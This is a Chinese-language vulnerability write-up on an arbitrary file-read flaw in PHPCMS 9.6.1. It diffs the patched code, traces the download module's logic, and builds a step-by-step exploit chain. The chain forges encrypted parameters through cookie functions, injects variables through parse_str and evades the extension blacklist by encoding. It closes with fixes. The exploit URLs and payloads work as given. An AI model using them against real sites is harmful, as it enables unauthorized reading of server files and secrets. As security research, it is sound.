看到網上說出了這麼一個漏洞,因此抽空分析了下,得出本篇分析。php
這裏把本次分析中須要掌握的知識梳理了下:css
php原生parse_str方法,會自動進行一次urldecode,第二個參數爲空,則執行相似extract操做。html
原生empty方法,對字符串""返回true。json
phpcms中sys_auth是對稱加密且在不知道auth_key的狀況下理論上不可能構造出有效密文。cookie
先diff下v9.6.0和v9.6.1,發現phpcms/modules/content/down.php中有以下修改:app
--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down { $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; + $id = intval($id);^M + $modelid = intval($modelid);^M + $catid = intval($catid);^M $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down { $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down { } $ext = fileext($filename); $filename = date('Ymd_his').random(3).'.'.$ext; + $fileurl = str_replace(array('<','>'), '',$fileurl);^M file_down($fileurl, $filename); } }
主要修改了兩個方法init()
和download()
,大膽的猜測估計是這兩個函數出問題了。dom
public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//關鍵點1 if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); $a_k = safe_replace($a_k);//關鍵點2 parse_str($a_k);//關鍵點3 if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid); ...... if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//關鍵點4 if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) { $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//關鍵點5 $downurl = '?m=content&c=down&a=download&a_k='.$a_k; } else { $downurl = $f; } }
public function download() { $a_k = trim($_GET['a_k']); $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關鍵點6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); $a_k = safe_replace($a_k);//關鍵點7 parse_str($a_k);//關鍵點8 if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); if(!$i || $m<0) showmessage(L('illegal_parameters')); if(!isset($t)) showmessage(L('illegal_parameters')); if(!isset($ip)) showmessage(L('illegal_parameters')); $starttime = intval($t); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//關鍵點9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters')); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid')); if($m) $fileurl = trim($s).trim($fileurl);//關鍵點10 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//關鍵點11 //遠程文件 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //關鍵點12 header("Location: $fileurl"); } else { if($d == 0) { header("Location: ".$fileurl);//關鍵點13 } else { $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl);//關鍵點14 //處理中文文件 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) { $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl)); $filename = urldecode(basename($filename));//關鍵點15 } $ext = fileext($filename);//關鍵點16 $filename = date('Ymd_his').random(3).'.'.$ext; $fileurl = str_replace(array('<','>'), '',$fileurl);//關鍵點17 file_down($fileurl, $filename);//關鍵點18 } } }
safe_replace函數以下jsp
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
init方法中根據原始的$a_k(包含了file_down的文件的基本信息),進行一次驗證,而且生成,調用ide
download方法的url,url的schema爲$downurl='?m=content&c=down&a=download&a_k='.$a_k
(必須符合必定條件。)函數
download方法接收到$a_k,進行解碼,解出文件信息,調用file_down($fileurl, $filename)
( 必須符合必定條件)
咱們來看下file_down函數,第一個參數$filepath,纔是實際控制readfile的文件名的變量,readfile能夠讀取本地文件,因此咱們構造符合條件的$fileurl繞過上述的限制就能夠完成本地文件的讀取功能!
function file_down($filepath, $filename = '') { if(!$filename) $filename = basename($filepath); if(is_ie()) $filename = rawurlencode($filename); $filetype = fileext($filename); $filesize = sprintf("%u", filesize($filepath)); if(ob_get_length() !== false) @ob_end_clean(); header('Pragma: public'); header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: '.$filetype); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-length: '.$filesize); readfile($filepath); exit; }
若是咱們要讀取站點的.php結尾文件,因爲有關鍵點11存在,$fileurl中不能出現php,不過從關鍵點17能夠看到進行了替換
$fileurl = str_replace(array('<','>'), '',$fileurl);//關鍵點17
那麼能夠想到咱們構造出符合.ph([<>]+)p
的文件後綴,最後會被替換成.php。並且這句話是9.6.1新增的,更加肯定了,這個漏洞是9.6.1特有的。
再向上上看
if($m) $fileurl = trim($s).trim($fileurl);//關鍵點10
變量$m爲真,那麼咱們能夠經過引入變量$s來構造$fileurl,且$fileurl由變量$f控制。
$fileurl = trim($f);
$a_k = safe_replace($a_k);//關鍵點7 parse_str($a_k);//關鍵點8
經過parse_str來extract變量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid變量,看到這裏咱們能夠構造$a_k來控制這些變量。
再向上看
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關鍵點6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
這個關鍵點6很重要,由於這裏的$pc_auth_key幾乎是不可能暴力出來的,然而獲得這個加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。因此咱們只能經過init()方法來構造$a_k。
咱們如今來看下init方法
$a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//關鍵點1
這裏能夠發現sys_auth的auth居然是使用系統默認的auth_key,直覺告訴我可能問題出在這裏了,除了這個區別,init方法別的邏輯就再也不贅述。
總結一下:
index.php?m=content&c=down&a=init&a_k=想辦法構造出符合條件的。
而後init方法會構造出符合download方法中可以解密的$a_k。
經過對$a_k進行控制,間接控制$i,$f,$m,$s,$d等變量完成漏洞的利用。
對源碼進行快速掃描,看看哪些地方可以生產對init方法的調用,其實就是常規的下載模型的邏輯。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中會生成init方法的$a_k
function downfile($field, $value) { extract(string2array($this->fields[$field]['setting'])); $list_str = array(); if($value){ $value_arr = explode('|',$value); $fileurl = $value_arr['0']; if($fileurl) { $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : ''; $server_list = getcache('downservers','commons'); if(is_array($server_list)) { foreach($server_list as $_k=>$_v) { if($value && is_array($sel_server) && in_array($_k,$sel_server)) { $downloadurl = $_v[siteurl].$fileurl; if($downloadlink) { $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key'))); $list_str[] = "<a href='".APP_PATH."index.php?m=content&c=down&a_k={$a_k}' target='_blank'>{$_v[sitename]}</a>"; } else { $list_str[] = "<a href='{$downloadurl}' target='_blank'>{$_v[sitename]}</a>"; } } } } return $list_str; } } }
可是分析發現,content_input和content_output邏輯中權限驗證和限制邏輯比較完善,基本不存在利用可能。
因爲是sys_auth是對稱加密,那麼能不能找個使用相同密鑰生成的地方來生成,對sys_auth進行全文搜索,咱們找找有沒有符合下列條件的上下文
方式是ENCODE
Auth_key是系統默認的即:pc_base::load_config('system','auth_key')
且待加密內容是可控的(能夠是咱們$_REQUEST的數據,或者能夠構造的)
加密後的數據有回顯的。
共找到58個匹配項,可是沒有符合上下文的,不過咱們能夠注意到
public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } public static function get_cookie($var, $default = '') { $var = pc_base::load_config('system','cookie_pre').$var; return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default; }
param::set_cookie param::get_cookie 對cookie加密是使用默認的auth_key的。
立刻對set_cookie進行全文搜索,而且查找符合下列條件的上下文。
set_cookie的內容是可控的。
set_cookie的觸發條件儘量的限制小。
一共找到122個匹配項,找到了兩個比較好的觸發點。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模塊須要管理員權限,就不考慮了,attachment模塊只要是註冊用戶便可調用。
咱們來看下swfupload_json
public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } }
咱們能夠經過src和filename來構造,最終我選的是src,最終形式會是一個json串,固然有多個會以"||"分割。
咱們註冊個用戶登陸以後,調用
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
產生的數據會是
{"aid":888,"src":"fobnn","filename":""}
而後咱們獲得response.header中的set-cookie ["att_json"]。
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
咱們修改下down.php->init方法,把DECODE以後的$a_k輸出來。
而後咱們調用
index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激動人心,init方法成功DECODE了$a_k
好了目前驗證了咱們的想法可行,接下來應該構造可用的payload了。
目前要解決的就是 從json中parse_str而且可以解析出$i,$m,$f等變量。
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}
解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
說明parse_str仍是解析仍是能夠實現的,先後閉合一下,中間填充咱們須要的變量便可,例如
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}
那麼fobnn和p1就是正常解析的,src須要URLENCODE提交,這樣不會致使php解析錯誤。
咱們先構造一個符合init方法的$a_k使得能完成正常的流程。
if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid);
構造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用來知足條件。
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
獲得
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}
而後提交
index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!頁面已經生成了調用download方法的url
</head> <body> <style type="text/css"> body, html{ background:#FFF!important;} </style> <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a> </body> </html>
目前正常流程已經走通,把目光集中在如何構造出符合的$fileurl,來看下init方法中
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) { $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key)); $downurl = '?m=content&c=down&a=download&a_k='.$a_k; } else { $downurl = $f; }
對f的限制仍是蠻多的,包括常規黑名單檢測php,asp等。也不能出現"..",":\"
還好咱們看到download函數中
if($m) $fileurl = trim($s).trim($fileurl);//關鍵點10
咱們能夠經過控制$m就能夠經過$s來構造了,而$m和$s參與了$a_k的構造。
在init方法中咱們能夠構造 m=1&s=.php&f=index 相似的來繞過init方法的檢測,咱們把目光聚焦到download方法。
//常規檢測代碼就不貼了,$i,$t,$m,$modelid,$t,$ip的檢測。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);
經過這樣的構造上面這個檢測確定能夠繞過,但發現下面檢測就會出問題,最後$fileurl仍是會變成index.php
if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error')); //遠程文件
好在快速掃描中看到的
$fileurl = str_replace(array('<','>'), '',$fileurl);//關鍵點17
另外又看到
if($d == 0) { header("Location: ".$fileurl);
那麼構造出 d=1&m=1&f=.p<hp&s=index 這樣的payload就能夠繞過檢測,實現漏洞利用,固然期間涉及一些編碼轉換就再也不贅述了。
最終pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=
因爲safe_replce的存在因此<
會被過濾掉,前置知識中我已經說到parse_str會自動encode一次。
因此能夠構造
d=1&m=1&f=.p%3chp&s=index
咱們發如今init方法中會safe_replace一次,和parse_str一次。
那麼最終編碼到download $a_k中的數據實際仍是<,而download方法中也會safe_replace和parse_str一次。
因此咱們要確保在init方法編碼的時候是%3c便可,對%3c進行一次urlencode,構造
d=1&m=1&f=.p%253chp&s=index
固然要讀取別的目錄的,那一樣對目錄路徑進行編碼。
以讀取首頁index.php爲例
pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d
8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}
index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY
最終提示下載文件,文件下載成功,打開來看確實是index.php內容。
class attachments { private $att_db; function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; //判斷是否登陸 if(empty($this->userid)){ showmessage(L('please_login','','member')); } }
能夠發現
sys_auth($_POST['userid_flash'],'DECODE')
可控制$this->userid且沒有複雜的權限校驗,並且又是默認AUTH_KEY加密的。
全文找下無限制能夠set_cookie的,發現WAP模塊能夠利用
pc_base::load_sys_class('format', '', 0); class index { function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap'); $this->types = getcache('wap_type','wap'); $this->wap = $this->wap_site[$this->siteid]; define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); if($this->wap['status']!=1) exit(L('wap_close_status')); }
沒有任何條件限制咱們能夠$_GET['siteid']來控制param::set_cookie('siteid',$this->siteid),且默認都有WAP模塊的文件,但不須要開啓。
流程以下:
index.php?m=wap&c=index&siteid=1 獲取名稱爲siteid的cookie。
訪問index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
&src=想要讀取文件的payload,而且訪問的時候設置post字段userid_flash爲步驟一獲取的cookie.
響應成功以後,獲取名稱爲att_json的cookie
訪問index.php?m=content&c=down&a=init&a_k=獲取到的att_json,來構造最終漏洞利用路徑,
能夠直接截取生成的$a_k
訪問index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。
init方法中的$a_k 加解密sys_auth不要採用默認密鑰。
file_down以前對$fileurl再作一次過濾。